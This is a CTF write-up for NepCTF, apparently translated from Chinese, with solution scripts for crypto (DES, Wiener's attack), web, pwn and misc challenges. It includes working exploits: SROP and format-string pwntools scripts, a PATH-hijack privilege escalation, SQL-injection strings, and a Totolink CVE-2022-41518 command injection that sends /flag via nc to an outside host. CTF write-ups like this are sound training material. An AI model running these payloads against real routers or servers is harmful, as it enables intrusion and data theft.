[ [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7], [0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8], [4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0], [15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13] ],
[ [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10], [3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5], [0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15], [13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9] ],
[ [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8], [13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1], [13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7], [1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12] ],
[ [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15], [13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9], [10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4], [3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14] ],
[ [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9], [14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6], [4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14], [11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3] ],
[ [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11], [10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8], [9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6], [4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13] ],
[ [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1], [13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6], [1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2], [6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12] ],
[ [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7], [1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2], [7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8], [2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11] ]]
def S_box(data: List[int]) -> List[int]: output = [] for i in range(0, 48, 6): row = data[i] * 2 + data[i + 5] col = reduce(add, [data[i + j] * (2 ** (4 - j)) for j in range(1, 5)]) output += [int(x) for x in format(__s_box[i // 6][row][col], '04b')] return output
def encrypt(plain: List[int], sub_keys: List[List[int]]) -> List[int]: plain = IP(plain) L, R = plain[:32], plain[32:]
for i in range(16): prev_L = L L = R expanded_R = EP(R) xor_result = [a ^ b for a, b in zip(expanded_R, sub_keys[i])] substituted = S_box(xor_result) permuted = P(substituted)
R = [a ^ b for a, b in zip(permuted, prev_L)]
cipher = R + L cipher = [cipher[x] for x in [39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25, 32, 0, 40, 8, 48, 16, 56, 24]]
return cipher
def bitxor(plain1: List[int], plain2: List[int]) -> List[int]: return [int(i) for i in bin(int(''.join(str(i) for i in plain1), 2) ^ int(''.join(str(i) for i in plain2), 2))[2:].zfill(64)]
def add(x, y): return x + y
def decrypt(plain: List[int], sub_keys: List[List[int]]) -> List[int]: # plain = IP(plain) L, R = plain[:32], plain[32:]
for i in range(16): prev_L = L L = R expanded_R = EP(R) xor_result = [a ^ b for a, b in zip(expanded_R, sub_keys[i])] substituted = S_box(xor_result) permuted = P(substituted)
R = [a ^ b for a, b in zip(permuted, prev_L)]
cipher = R + L # cipher = [cipher[x] for x in [39, 7, 47, 15, 55, 23, 63, 31, # 38, 6, 46, 14, 54, 22, 62, 30, # 37, 5, 45, 13, 53, 21, 61, 29, # 36, 4, 44, 12, 52, 20, 60, 28, # 35, 3, 43, 11, 51, 19, 59, 27, # 34, 2, 42, 10, 50, 18, 58, 26, # 33, 1, 41, 9, 49, 17, 57, 25, # 32, 0, 40, 8, 48, 16, 56, 24]]
return cipher
P0 = [39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25, 32, 0, 40, 8, 48, 16, 56, 24]P0_inv = [0] * len(P0)for i, b in enumerate(P0): P0_inv[b] = i
_IP_inv = [0] * len(_IP)for i, b in enumerate(_IP): _IP_inv[b] = i
def P_set(c, box): return [c[_] for _ in box]
def bin2str(x: []): res = bytearray() for i in range(0, len(x), 8): res.append(int("".join(map(str, x[i:i+8])), 2)) return res
# 爆破过程# check = []# for test in range(2 ** 9):# # for test in range(1):# LL= [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]# RR= [0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0]# LL += list(map(int, bin(test)[2:].ljust(9, "0")))# sub_keys = []## t=[0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0]# for i in range(16):# combined = LL + RR# sub_key = PC_2(combined)# sub_keys.append(sub_key)# for j in range(ROTATIONS[::-1][i]):# LL.insert(0, LL.pop(-1))# RR.insert(0, RR.pop(-1))# # print(LL)# # print(RR)# # sub_keys = sub_keys[::-1]# # print(sub_keys)# ct = decrypt(P_set(t[:64], P0_inv), sub_keys)# print(test, bin2str(P_set(ct, _IP_inv)))# x = bin2str(P_set(ct, _IP_inv))# check.append((len(repr(x)), x, test))# check.sort()# print(check)# (22, bytearray(b'NepCTF{N'), 503)
LL= [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]RR= [0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0]LL += list(map(int, bin(503)[2:].ljust(9, "0")))sub_keys = []
flag = b""t=[0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0]for i in range(16): combined = LL + RR sub_key = PC_2(combined) sub_keys.append(sub_key) for j in range(ROTATIONS[::-1][i]): LL.insert(0, LL.pop(-1)) RR.insert(0, RR.pop(-1))ct = decrypt(P_set(t[:64], P0_inv), sub_keys)raw = P_set(ct, _IP_inv)x = bin2str(raw)print(x)flag += x
z = rawkeys_t = LL + RRkey = [0] * 64for i, b in enumerate(__pc1): key[b] = keys_t[i]print(key)print(bin2str(key))ct = decrypt(P_set(t[64:64*2], P0_inv), get_sub_key(bitxor(z, key))[::-1])raw = P_set(ct, _IP_inv)x = bin2str(raw)print(x)flag += x
z = rawct = decrypt(P_set(t[64*2:64*3], P0_inv), get_sub_key(bitxor(z, key))[::-1])raw = P_set(ct, _IP_inv)x = bin2str(raw)print(x)flag += x
print(flag)Web
ez_java_checkin
简单的 java 反序列化漏洞,一把梭

独步天下 - 转生成为镜花水月中的王者
渗透签到,提示环境变量提权,一把梭
echo "/bin/sh"> /tmp/ports-alivechmod 777 /tmp/ports-aliveexport PATH=/tmp:$PATHnmap -vcat /flagTranslate by Kimi-K3
Preface
Just a little memento — I had a blast and grabbed 4 first bloods in Pwn. Too bad first place was snatched from me in the last 3 minutes.

Pwn
srop
Straight SROP all the way. One thing to note: the jump goes to the syscall function in the PLT, which is different from a raw system call — inside that function, rdi is assigned to rax, so all the argument registers that follow are shifted back by one position.
from pwn import *
context.arch = "amd64"context.log_level = 'debug'# io = process("./pwn")io = remote("nepctf.1cepeak.cn", 31943)
mov_eax_15 = 0x0000400754buf = 0x00000601050ret = 0x004007AEsyscall = 0x0004005B0pop_rdi = 0x0000000000400813stack = 0x0601a50
frame = SigreturnFrame()frame.rdi = 0frame.rsi = 0frame.rdx = stack-0x8frame.rcx = 0x1000frame.rip = syscallframe.rsp = stack
payload = b"a" * (0x0030+8) + flat([ pop_rdi, 15, syscall]) + bytes(frame)
io.send(payload)sleep(0.5)
frame = SigreturnFrame()frame.rdi = 2frame.rsi = stack-0x8frame.rdx = 0frame.rcx = 0x1000frame.rip = syscallframe.rsp = stack + 0x110payload = b"./flag\x00\x00" + flat([ pop_rdi, 15, syscall]) + bytes(frame)
frame = SigreturnFrame()frame.rdi = 0frame.rsi = 3frame.rdx = stack-0x100frame.rcx = 0x40frame.rip = syscallframe.rsp = stack + 0x110 + 0x110payload += flat([ pop_rdi, 15, syscall]) + bytes(frame)
frame = SigreturnFrame()frame.rdi = 1frame.rsi = 1frame.rdx = stack-0x100frame.rcx = 0x40frame.rip = syscallframe.rsp = stack + 0x110 + 0x110 + 0x110payload += flat([ pop_rdi, 15, syscall]) + bytes(frame)
log.success(f"length {len(payload):#x}")io.send(payload)
io.interactive()HRPVM2.0
The core idea is file replacement: here we rewrite the kernel file, and when Python invokes the program again, the shell gets executed.

The command sequence is as follows. We can’t type # here, but for a shell script to be run by Popen it needs a shebang at the start — and the shebang is not executed by sh. Also, we can’t type a newline, so we can bypass this with env -S.
mkdir app/templatescd app/templatesecho #!/usr/bin/env -S python3 -c "import os; os.system('cat flag')">kernelmount kernel
However, mount requires a permission check. We need to exploit an overflow bug here — an off-by-”two”, i.e. a 1/16 brute force: hitting a valid heap address whose permission offset is non-zero lets us bypass the permission check.

exp
from pwn import *import requestsreq = requests.session()
url = "http://nepctf.1cepeak.cn:30424"req.get(url)
context.log_level = 'debug'# io = process("./kernel")io = tube()def io_recv_raw(*a): r = req.get(url + "/receive") print(r.json()) return r.json().get('output', "").encode("utf-8")def io_send_raw(x): r = req.post(url + "/send", data={"input": x})
io.recv_raw = io_recv_rawio.send_raw = io_send_raw# tob = lambda x: x.encode("utf-8")
def rm(file): io.sendafter(b"$", b"rm %b" % (file,))
def cat(file): io.sendafter(b"$", b"cat %b" % (file,))
def init(content): io.sendafter("Make a wish to Nepnep", content)
def echo(file, content): io.sendafter(b"$", b"echo %b>%b" % (content, file))
def mkdir(name): io.sendafter(b"$", b"mkdir %b" % (name,))
def cd(name): io.sendafter(b"$", b"cd %b" % (name,))
def exec(name): io.sendafter(b"$", b"exec %b" % (name,))
def id(): io.sendafter(b"$", b"id")
def mount(name): io.sendafter(b"$", b"mount %b" % (name,))
def leave(): io.sendafter(b"$", b"exit")
for i in range(32, 127): log.success(f">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>{i}<<<<<<<<<<<<<<<<<<<<<<<<<") leave() req.get(url) sleep(0.5) payload = b"" init(payload + b";" * (104 - len(payload))) mkdir(b"app/templates") cd(b"app/templates") echo(b"kernel", b"""#!/usr/bin/env -S python3 -c "import os; os.system('cat flag')" """)
echo(b"data", b"a"*(0x100-2) + b"bc" + b"\x21\x42") cat(b"kernel") echo(b"step1", b"mov rdi,data; syscall 0;") echo(b"step2", b"mov rdi,data; mov rdx,258; syscall 1;") exec(b"step1") exec(b"step2")
mount(b"kernel")# 59 52 65 0f 37 56# 7c 12 3c 44 45 56io.interactive()Nep router
https://gitee.com/baozhazhizi/IoT-vulhub/tree/master/Totolink/CVE-2022-41518
Straight CVE-2022-41518. Here we use a reverse shell to grab the flag.
import contextlibimport requestsimport os
session = requests.Session()login_url = "http://106.75.63.100:34903/formLoginAuth.htm?authCode=1&userName=admin&goURL=home.html&action=login"raw = session.get(login_url, timeout=5)
inject_url = "http://106.75.63.100:34903/cgi-bin/cstecgi.cgi"inject_data = { "proto":"8", "hostname":"';" + """rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/cat /flag/flag |nc xxx.xxx.xxx.xxx 1234 >/tmp/f""" + ";'", "topicurl":"setOpModeCfg"}
with contextlib.suppress(Exception): resp = session.post(inject_url, json = inject_data, timeout=1)print("shell!? ---------------> ")login
First there’s a path traversal: since the directory is never validated, we can directly access and download files, and ultimately download the login ELF file along with the libc library. Reversing quickly reveals an sprintf format string vulnerability. The hardest part is finding the heap pointer during local debugging.
exp
import structimport time
import requestsfrom pwn import *import logging
def creat_logger(log_path, logging_name, suf_name): if not os.path.exists(log_path): os.makedirs(log_path) log_full_path = log_path + logging_name + suf_name logger = logging.getLogger(logging_name) logger.setLevel(level=logging.DEBUG) handler = logging.FileHandler(log_full_path, encoding='UTF-8', mode='w') handler.setLevel(logging.INFO) formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') handler.setFormatter(formatter) console = logging.StreamHandler() console.setLevel(logging.DEBUG) logger.addHandler(handler) logger.addHandler(console) return logger
logger = creat_logger("./", "log", ".txt")req = requests.session()start = b"deadbeaf"end = b"asdewedv"url = "http://106.75.63.100:34617"# url = "http://172.20.192.1:8080"
def read_s(offset): if offset < 0: offset += 2 ** 32 while True: try: r = req.get(url + "/login", params={ "user": f"{start.decode()}%{offset}$s{end.decode()}", "password": "aaaa" }, timeout=1) break except ConnectionResetError as e: print("retrying...", e) time.sleep(0.5) pass except TimeoutError as e: print("retrying...", e) time.sleep(0.5) pass except requests.exceptions.ConnectTimeout as e: print("retrying...", e) time.sleep(0.5) pass s = r.content # print(s) code = s[s.find(start) + len(start):s.find(end)] return code, hex(struct.unpack("<Q", code[:8].ljust(8, b"\00"))[0])
def get_p(offset): if offset < 0: offset += 2 ** 32 while True: try: r = req.get(url + "/login", params={ "user": f"{start.decode()}%{offset}$p{end.decode()}", "password": "aaaa" }, timeout=1) break except ConnectionResetError as e: print("retrying...", e) time.sleep(0.5) pass except TimeoutError as e: print("retrying...", e) time.sleep(0.5) pass except requests.exceptions.ConnectTimeout as e: print("retrying...", e) time.sleep(0.5) pass s = r.content code = s[s.find(start) + len(start):s.find(end)] return code
def write(offset, x): if offset < 0: offset += 2 ** 32 while True: try: r = req.get(url + "/login", params={ "user": f"%1000${x}c%{offset}$hhn", "password": "aaaa" }, timeout=1) break except ConnectionResetError as e: print("retrying...", e) time.sleep(0.5) pass except TimeoutError as e: print("retrying...", e) time.sleep(0.5) pass except requests.exceptions.ConnectTimeout as e: print("retrying...", e) time.sleep(0.5) pass
# p = 15196# write(p, 0x58)# print(f"[+] {get_p(p)} => {read_s(p)}")# p2 = 15513def write_s(sx): s = struct.pack("<Q", sx).strip(b"\x00") print(s) for i in range(len(s)): p = 15196 write(p, 0x78 + i) # print(f"[+] {get_p(p)} => {read_s(p)}") p2 = 15511 write(p2, s[i]) # print(f"[+] {get_p(p2)} => {read_s(p2)}") p3 = 15518 print(f"[+] {get_p(p3)}")
# print(f"[+] {get_p(15712)}")# # xt = int(get_p(15712).decode(), 16)# # print(f"[+] {xt:#x}")# print(f"[+] {get_p(15512)}")# print(f"[+] {get_p(16110)}")# # print(f"[+] {get_p(15712)} => {read_s(15712)}")# for i in range(1, 0x31, 8):# x = xt + i# print(f"[+] {x:#x}")heap_base = int(get_p(15059).decode(), 16)print(f"[->] {heap_base:#x}")xt = heap_base- 0x40print(f"[->] {xt:#x}")write_s(xt)print(f"[+] done")print(read_s(15518))
# write_s(0xdeadbeafdeadbeaf)# p = 15196# print(f"[+] {get_p(p)} => {read_s(p)}")# p = 15513# print(f"[+] {get_p(p)} => {read_s(p)}")# p = 15516# print(f"[+] {get_p(p)}")# for i in range(0x3d5b-10, 0x3d5b+100):# code = get_p(i)# if code.startswith(b"0x55") or code.startswith(b"0x7f") and len(code):# content = read_s(i)# # print(f"[+] {i} => {code} => {content}")# logger.warning(f"[+] {i} => {code} => {content}")# continue# # print(f"[+] {i} => {code}")# logger.info(f"[+] {i} => {code}")HRP-CHAT
This whole set of challenges is about source code auditing, and the vulnerabilities are quite simple.
1
SQL injection. Note that the magic password 1' or 1=1-- won’t work here because scanf in the client doesn’t support spaces. So you first need to register a user with the username 1 in the database, then register another user with the username 1'--.

2
First analyze the source code (you actually don’t even need the chat server — just look at the client’s processing logic). You can see that Bot mode only returns the string '远程AI协助服务正在开发中!', but we need the server to return the string RemoteVIPApplicationCertificationHasPassed to get the flag. So we need to forge the message returned by the server. Looking at how the server works in Chat mode: the server simply forwards messages as a broadcast. So we can think of it this way:

Let one machine be in Bot mode and the other in Chat mode.

Then we can leverage the broadcast mechanism to forge the message returned by the server. There’s no validation here either, so we get the flag.

3
I couldn’t really see any vulnerability in challenge 3 — it just seems like normal game logic: draw cards to obtain characters, use message to check the current character pool and their skills, and you win once you draw H3h3QAQ. Just cast the second skill, log4j, to kill ThTsOd.

4
This one is pretty bizarre. While I was working on flag 2 — which seemed to require hitting a precise timing window, so I wrote a script to brute force it — I probably sent too many requests and crashed the server. It dropped into the Safe box cmd interface, where entering Safe_Mode_Key gives you the flag.
Misc
codes
Solve it like a pwn challenge: first leak libc, find the offset, then straight to system(“env”).
#include <string.h>int main(){printf("1234"); size_t tmp = &printf;tmp -= 0x61c90;tmp += 0x52290;((int (*)(const char *, ...))tmp)("en" "v"); }与 AI 共舞的哈夫曼 (Huffman Dancing with AI)
You really don’t need to write any code yourself — GPT solves it in one shot.
def decompress(input_file, output_file): with open(input_file, 'rb') as f: # Read frequency information num_freq = ord(f.read(1)) frequencies = {} for _ in range(num_freq): byte, freq = f.read(1)[0], 0 for _ in range(4): freq = (freq << 8) | f.read(1)[0] frequencies[byte] = freq
# Rebuild Huffman tree root = build_huffman_tree(frequencies)
# Decode compressed data with open(output_file, 'wb') as out_f: node = root while True: bit = f.read(1) if not bit: break bit = int.from_bytes(bit, byteorder='big') for i in range(7, -1, -1): if (bit >> i) & 1: node = node.right else: node = node.left if node.char is not None: out_f.write(bytes([node.char])) node = rootConnectedFive
Wanning-style Gomoku (Five in a Row). Note that placing a piece on an already-occupied position crashes the game, so you need logic to avoid that. To improve the win rate, we use the most naive strategy here: compute the density of our own pieces around each empty position to judge which positions are better.
exp
import random
from pwn import *
context.log_level = 'debug'context.timeout = 3getIO = lambda: remote("nepctf.1cepeak.cn", 30582)io = getIO()
def getinfo(): io.recvuntil(b"MESSAGE computer: ") io.recvuntil(b"\n") io.recvuntil(b"\n") io.recvuntil(b"\n") scoreboard = io.recvuntil(b"\n", drop=True).decode() # print(f"[+] Scoreboard {scoreboard}")
# io.recvuntil(b"\t a b c d e f g h i j k l m n o\n") checkerboard = [] raw = io.recvuntil(b"\t a b c d e f g h i j k l m n o\n").decode() for i in range(15): # io.recvuntil(b"\t" + bytearray([i+ord('a')])) r = io.recvuntil(b"\n").decode() raw += r a = r.strip() checkerboard.append(a[3::2]) # print(checkerboard) return scoreboard, checkerboard, raw
key = "abcdefghijklmno"
def check_pos(x, y, checkerboard: []): res = 0 cnt = 0 for i in range(max(0, x-4), min(14, x+4)+1): cnt += checkerboard[i][y] == 'X' res = max(res, cnt)
cnt = 0 for i in range(max(0, y - 4), min(14, y + 4)+1): cnt += checkerboard[x][i] == 'X' res = max(res, cnt)
cnt = 0 for i in range(-4, 4+1): if 0 <= x + i <= 14 and 0 <= y + i <= 14: cnt += checkerboard[x+i][y+i] == 'X' res = max(res, cnt)
cnt = 0 for i in range(-4, 4+1): if 0 <= x - i <= 14 and 0 <= y + i <= 14: cnt += checkerboard[x-i][y+i] == 'X' res = max(res, cnt)
return res
def get_nice_pos(checkerboard): p = [] for i in range(15): for j in range(15): if checkerboard[i][j] not in ".+": continue p.append((check_pos(i, j, checkerboard), i, j)) p.sort(reverse=True) return p[0][1:]
def action(checkerboard: []): print(len(checkerboard), end=" ") for x in checkerboard: print(len(x), end=" ") print() while True: # x = random.randint(0, 14) # y = random.randint(0, 14) # print(x, y) x, y = get_nice_pos(checkerboard) if checkerboard[x][y] in ['.', '+']: return key[y] + key[x]
for i in range(100): try: s, c, r = getinfo() log.success(f"Scoreboard {s}") log.success(f"Checkerboard \n{r}") ans = action(c) io.sendline(ans.encode()) except EOFError: io.close() io = getIO()
io.interactive()CheckIn
Couldn’t post on Bilibili, and after waiting a while, the flag was put directly in the challenge description.

陌生的语言 (An Unfamiliar Language)

https://ay.medyotan.ga/upload/lwa_moonrunes.png

Solved directly:
NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC
小叮弹钢琴 (Xiao Ding Plays the Piano)
Morse code gives YOUSHOULDUSETHISTOXORSOMETHING — literally, you need to use this to XOR something. There’s also another part you can view directly in the .mid file.

x = 0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17xx = x.to_bytes(x.bit_length() // 8 + 1, "big")key = b"YOUSHOULDUSETHISTOXORSOMETHING"print(xx)print(len(key), len(xx))print((bytearray(map(lambda x: x[0] ^ x[1] ^ 32, zip(xx, key)))))Case conversion via XOR with 32.
你也喜欢三月七么 (Do You Also Like March 7th?)
First, take the SHA256 of the group name to get dd8e671df3882c5be6423cd030bd7cb69671ef27dfe7a541903edc4e23168009, and use the first 16 bytes.

This gives https://img1.imgtp.com/2023/07/24/yOkXWSJT.png

Instantly recognizable as Honkai: Star Rail text.

Translating it gives
HRP_aIways_likes_March_7th — note that the “I” in “aIways” is a capital i.
lic
Tape data. First use audiotap to convert it to a tape file, then open it with 010.

You can see the shape of “NepCTF” spelled out in characters. After reversing it with a script, you can see:
with open("attachment.tap", "rb") as f: data = f.read()[50:].strip(b"\xa0")data = b"aaa" + datachunk = 16for i in range(0, len(data), chunk): # print() x = data[i:i+chunk][::-1].decode(errors="ignore") print("".join(map(lambda _: " " if _ == '>' else _ + ' ', x)))Crypto
random_RSA
Wiener’s attack. Here we use a low-exponent decryption script from https://github.com/pablocelayes/rsa-wiener-attack to recover d.
Since phi(n^2) is approximately (q^2-1)(p^2-1), first interact with the service to obtain a set of data, then use the script below to brute force it.
After getting d,
since
we can use to get k.
Then it’s a straightforward solve for p and q.
import ContinuedFractions, Arithmetic, RSAvulnerableKeyGeneratorfrom gmpy2 import gcd, iroot
def hack_RSA(e, n): ''' Finds d knowing (e,n) applying the Wiener continued fraction attack ''' frac = ContinuedFractions.rational_to_contfrac(e, n) convergents = ContinuedFractions.convergents_from_contfrac(frac)
for (k, d) in convergents:
# check if d is actually the key if k != 0 and (e * d - 1) % k == 0: phi = (e * d - 1) // k s = n - phi + 1 # check if the equation x^2 - s*x + n = 0 # has integer roots discr = s * s - 4 * n if (discr >= 0): t = Arithmetic.is_perfect_square(discr) if t != -1 and (s + t) % 2 == 0: print("Hacked!") return d
def attack(n, e): d = hack_RSA(e, n * n) k = (e * d - 1 + n * n) // (n * n) tmp = (n * n) - ((e * d - 1) // k) + 1 + 2 * n ppq = int(iroot(tmp, 2)[0]) tmp = (n * n) - ((e * d - 1) // k) + 1 - 2 * n pmq = int(iroot(tmp, 2)[0]) p = int(gcd(ppq + pmq, n)) q = n // p assert p * q == n assert e*d % ((p-1) * (q-1)) == 1 return p, q, d
ss = """966415090145048096769056459801707492527865767842808352664701923149350022750118617112122335362526440554989580802386507640568210414886964693780271019769214988080173929622442372044969798656201496281042714927495367033643196972084723936725257731218179762040692159792889120390828096760680114487994399794828868726913545172134159175889348986933952060038311470259483168055697828193891441762689706374181164925761479723432570816675940312048017375215324916873304460720495176855773489575814380886375496557203424073958849129409894153752239889183012838743831759225366304553286205898283213594684240171167333317080180813132832813840922983334574580917801180860838975915911056113991786778412831201182411314364399816331219602816987801515703576764159087708450625423803558017646160341422267439951044407124414015864769966876129437519084492109510818093789724685834745254039500061544494687297354628168281982577957457924120597256869151402144742486005161738151255767127578010682514603747674732192539709537275806788688798050708598638377916842971631011263261195175705071683872373603843884113967910301479453532836470974019712063094982740534667039293541440015250164631599817949388195744930270131276498157477215483242544464596689268807389029069272532067490083369547669715239977992410158704220313287358936476570197236442784273557421888378497464433353892887766426339418782876390919046890278793088868131975197880580905027785352428189007480894687391277338836087221071379217489414415183919425962364501612704379275059469144794211736312560265881110693864711202763941138206607689382712402597791806706502788925221170513306681258576676019323627743632448114452443097397014141839634039981951855535241851424638689366379545342739319677785567174640217613527540438283508170772807801142587539976048845517400474132948151081974542377578704999265763979523387588936804746887912462709543565738342209411264215451852549877999054241907463323391251271213141715914289763536671153637637274867756140919032846584380972166232389147124785211572411395379873443308416994724192394114922711303180303066094346542840366879379441626791049462351261785210456331903864824243403221620240929553196607590586521619964118952092487185470131525019791601911269885013066536605752064303313275476959585733465024478069076518868059832279277335064876891077330640486621093465484238441682113285293881964360688580184224704725681311709378001472263678127032449196153040301714600502975735108355208686308531497052392120692462575108616666965418211518181697961996475874957105109721147424008317085481547154125352421932609216096953479309367070366393589681640125203499094379570907949414851905802577325219771719323410375043242316329998677341664811470623081830810101366841465305393549162631250200632135710514365185842068301180937555084818120822458226909448191975997603543410066097366097707896667930646427036414813893206232776781735583016296728651163772691279420256121807948279445395998158478631057608621098283891406815256802765542765339270946286020588436752860713394544294659869716949079276888302391426118551872743798515231891087558596575332242716933202782786054254233864953841745685624976277616124220457919570594377414933286985094813685540064566838129939848913786989350395408839294646458079429664561586052636618134717034450783278546560000798482975872664233181928749678735229510705584877971289273137459095087340152125453631327199718776839216753954384365941693000843866176362441740859499813412728014419131925290559226035389741798876105712194935246489531919287617831329853103172766312006149032328266090214728467938813442956999859197819429367615005924136665312139133275203766818093712952660297761336552777361290220730660339649501528675117618867464014184195788287541740479391120104561506754635756575091891080201289082945954054162889679229507877843607785748942738998109372566673989730488304626939086387844115255000074816039690816152417990785807700048774026404647730543987179644860114332527793200381035212370709605138367573812118086134557700654103151715525833994824128948250290436391144032311307288208737454032169672663620422713855848782815229151751711922490692663339135330094177839442593762699645554586833167449026732911839556162362831437276636438114209869760404433613250366408169265161493387876662328815040777168069895037439568022668716295170922731948637963967596122743637286232364254258270525273636378954898844892428152383164181286675647518830286473660936842056768837605965773754722828164869255002601931877175384944967168423206258868966986144360226269117391889938003716473472419177908278255032274351977454805821764218411534787094767284216135276174354406996436906142025032430967949150772284199385705263345050808935420677789360168112630311736817620156906081165474809562107538852267394278439066621108665747312736533966159229107173152465365414052064089548384023025856375904149686916115214912086305308341266693329116385815754412736749978601321323191864143850174315828039788320203726197797788026323483995092501876361540056171546433345056509023822723392649116651071369395319931930221212866085340561430347693225966408351502938942294604586300299982831155358938495260400185484497256896416324370391657125309375755376057180940858375964786733652546488880996426657064631708252560023474877949301792612429382653730100520713338044964401333750090947037843448152614531864695601400078878276612572266304350518364495335341275038759497131064447619421326513680343303115330200681996349441238490209605256140282866353360785265474868465131016931425931964393177163140173169398499291572984733338118081910704432753107524477347843354958141041369207588577081612844623302487399941453933789671115335068018204643380431016387353074463881889573971424366860758854779289000563752878945297131475169362247252814975451045055202597227918784177609774914274